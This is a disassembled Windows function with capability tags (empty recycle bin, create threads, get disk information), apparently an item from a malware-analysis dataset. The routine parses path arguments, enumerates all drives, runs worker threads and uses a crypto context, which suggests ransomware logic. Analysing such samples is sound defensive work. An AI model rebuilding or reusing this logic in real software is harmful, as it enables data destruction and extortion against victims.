Function at 0x408fa0
Capabilities:
Accept command line arguments
Create thread
Empty the recycle bin
Get disk information
Get system information on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8c
call fcn.0040e1f0
call fcn.00411190
call fcn.00402de0
mov dword [0x412270], eax
cmp dword [0x412270], 0
je 0x409553
mov dword [ebp - 0x14], 0
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov dword [ebp - 0x1c], eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
push 0x401e68
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call fcn.00402f80
add esp, 0xc
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
je 0x409034
mov eax, 4
imul ecx, eax, 0
mov edx, dword [ebp - 0x44]
mov dword [ecx + 0x412168], edx
mov eax, dword [ebp - 0x44]
push eax
call fcn.00403120
add esp, 4
mov dword [0x41226c], 1
push 0x401e74
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call fcn.00402f80
add esp, 0xc
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 1
jle 0x409067
mov ecx, dword [ebp - 0x54]
push ecx
call fcn.00407a90
add esp, 4
call fcn.00402ab0
call fcn.00402cf0
call fcn.00402a10
push 7
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinA]
lea edx, [ebp - 0x8c]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x60], eax
mov ecx, dword [ebp - 0x60]
shl ecx, 2
mov dword [ebp - 0x58], ecx
mov edx, dword [ebp - 0x58]
shr edx, 1
mov dword [ebp - 4], edx
imul eax, dword [ebp - 0x58], 6
push eax
push 0x41220c
call fcn.00411260
add esp, 8
imul ecx, dword [ebp - 4], 3
push ecx
push 0x41223c
call fcn.00411260
add esp, 8
mov edx, dword [ebp - 4]
shl edx, 2
push edx
call fcn.00411210
add esp, 4
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 4]
shl eax, 2
push eax
call fcn.00411210
add esp, 4
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x20], 0
je 0x409536
cmp dword [ebp - 0x24], 0
je 0x409536
mov ecx, dword [ebp - 4]
shl ecx, 2
push ecx
push 0
mov edx, dword [ebp - 0x20]
push edx
call main
add esp, 0xc
mov eax, dword [ebp - 4]
shl eax, 2
push eax
push 0
mov ecx, dword [ebp - 0x24]
push ecx
call main
add esp, 0xc
mov dword [ebp - 0x28], 0
jmp 0x40913e
mov edx, dword [ebp - 0x28]
add edx, 1
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 4]
jae 0x409184
push 0
push 0
push 1
push 0x408b30
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x20]
mov dword [edx + ecx*4], eax
push 0
push 0
push 0
push 0x408b30
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x24]
mov dword [edx + ecx*4], eax
jmp 0x409135
push 0x401e84
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.00402f80
add esp, 0xc
mov dword [ebp - 0xc], eax
push 0x401e94
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x14]
push eax
call fcn.00402f80
add esp, 0xc
mov dword [ebp - 8], eax
cmp dword [ebp - 0xc], 0
je 0x409271
mov dword [ebp - 0x30], 1
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x2c], 0
jmp 0x4091e4
mov edx, dword [ebp - 0x2c]
add edx, 1
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x64]
jge 0x409212
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0xc]
movzx eax, word [edx + ecx*2]
cmp eax, 0x2c
jne 0x409210
xor ecx, ecx
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0xc]
mov word [eax + edx*2], cx
mov ecx, dword [ebp - 0x30]
add ecx, 1
mov dword [ebp - 0x30], ecx
jmp 0x4091db
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 2]
push eax
call fcn.00411210
add esp, 4
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 0x48]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [ebp - 0x48]
push eax
call fcn.00408cf0
add esp, 4
mov ecx, dword [ebp - 0x48]
push ecx
call fcn.00411240
add esp, 4
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0xc]
lea edx, [ecx + eax*2 + 2]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x30]
sub eax, 1
mov dword [ebp - 0x30], eax
jne 0x409212
cmp dword [ebp - 8], 0
je 0x40936f
mov dword [ebp - 0x38], 1
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x34], 0
jmp 0x4092a1
mov edx, dword [ebp - 0x34]
add edx, 1
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x68]
jge 0x4092cf
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 8]
movzx eax, word [edx + ecx*2]
cmp eax, 0x2c
jne 0x4092cd
xor ecx, ecx
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp - 8]
mov word [eax + edx*2], cx
mov ecx, dword [ebp - 0x38]
add ecx, 1
mov dword [ebp - 0x38], ecx
jmp 0x409298
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 2]
push eax
call fcn.00411210
add esp, 4
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 2
jne 0x409334
mov ecx, 2
shl ecx, 0
mov edx, dword [ebp - 0x18]
movzx eax, word [edx + ecx]
cmp eax, 0x3a
jne 0x409334
mov ecx, 2
imul edx, ecx, 0
mov eax, dword [ebp - 0x18]
movzx ecx, word [eax + edx]
push ecx
call fcn.00408ea0
add esp, 4
jmp 0x409340
mov edx, dword [ebp - 0x18]
push edx
call fcn.00408930
add esp, 4
mov eax, dword [ebp - 0x18]
push eax
call fcn.00411240
add esp, 4
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, dword [ebp - 8]
lea eax, [edx + eax*2 + 2]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x38]
sub ecx, 1
mov dword [ebp - 0x38], ecx
jne 0x4092cf
cmp dword [ebp - 8], 0
jne 0x40945f
cmp dword [ebp - 0xc], 0
jne 0x40945f
push 0x401ea0
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
jne 0x4093aa
push 0x401ec0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
jmp 0x4093b4
jmp 0x40945f
mov dword [ebp - 0x5c], 0
push 0x401ee0
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x14]
push eax
call fcn.00402e80
add esp, 0xc
movzx ecx, al
cmp ecx, 1
jne 0x4093e4
mov edx, dword [ebp - 0x5c]
push edx
call fcn.00408c20
add esp, 4
call fcn.004027e0
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
je 0x409437
mov eax, 0x41
mov word [ebp - 0x10], ax
jmp 0x40940f
mov cx, word [ebp - 0x10]
add cx, 1
mov word [ebp - 0x10], cx
movzx edx, word [ebp - 0x10]
cmp edx, 0x5a
jg 0x409437
mov eax, dword [ebp - 0x40]
and eax, 1
je 0x40942d
movzx ecx, word [ebp - 0x10]
push ecx
call fcn.00408ea0
add esp, 4
mov edx, dword [ebp - 0x40]
shr edx, 1
mov dword [ebp - 0x40], edx
jmp 0x409403
push 0x401ee8
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.00402e80
add esp, 0xc
movzx edx, al
test edx, edx
jne 0x40945f
mov eax, dword [ebp - 0x5c]
push eax
call fcn.00408c20
add esp, 4
mov dword [ebp - 0x4c], 0
jmp 0x409471
mov ecx, dword [ebp - 0x4c]
add ecx, 1
mov dword [ebp - 0x4c], ecx
mov edx, dword [ebp - 0x4c]
cmp edx, dword [ebp - 4]
jae 0x40948c
push 1
push 0
push 0x41223c
call fcn.00411380
add esp, 0xc
jmp 0x409468
push 0xffffffffffffffff
push 1
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [ebp - 0x50], 0
jmp 0x4094b0
mov edx, dword [ebp - 0x50]
add edx, 1
mov dword [ebp - 0x50], edx
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 4]
jae 0x4094cb
push 1
push 0
push 0x41220c
call fcn.00411380
add esp, 0xc
jmp 0x4094a7
push 0xffffffffffffffff
push 1
mov ecx, dword [ebp - 0x24]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
call fcn.00402a10
mov dword [ebp - 0x3c], 0
jmp 0x4094f4
mov eax, dword [ebp - 0x3c]
add eax, 1
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x3c]
cmp ecx, dword [ebp - 4]
jae 0x40951e
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax + edx*4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax + edx*4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4094eb
mov edx, dword [ebp - 0x20]
push edx
call fcn.00411240
add esp, 4
mov eax, dword [ebp - 0x24]
push eax
call fcn.00411240
add esp, 4
cmp dword [0x41226c], 0
je 0x409544
call fcn.00403160
push 0
mov ecx, dword [0x412270]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]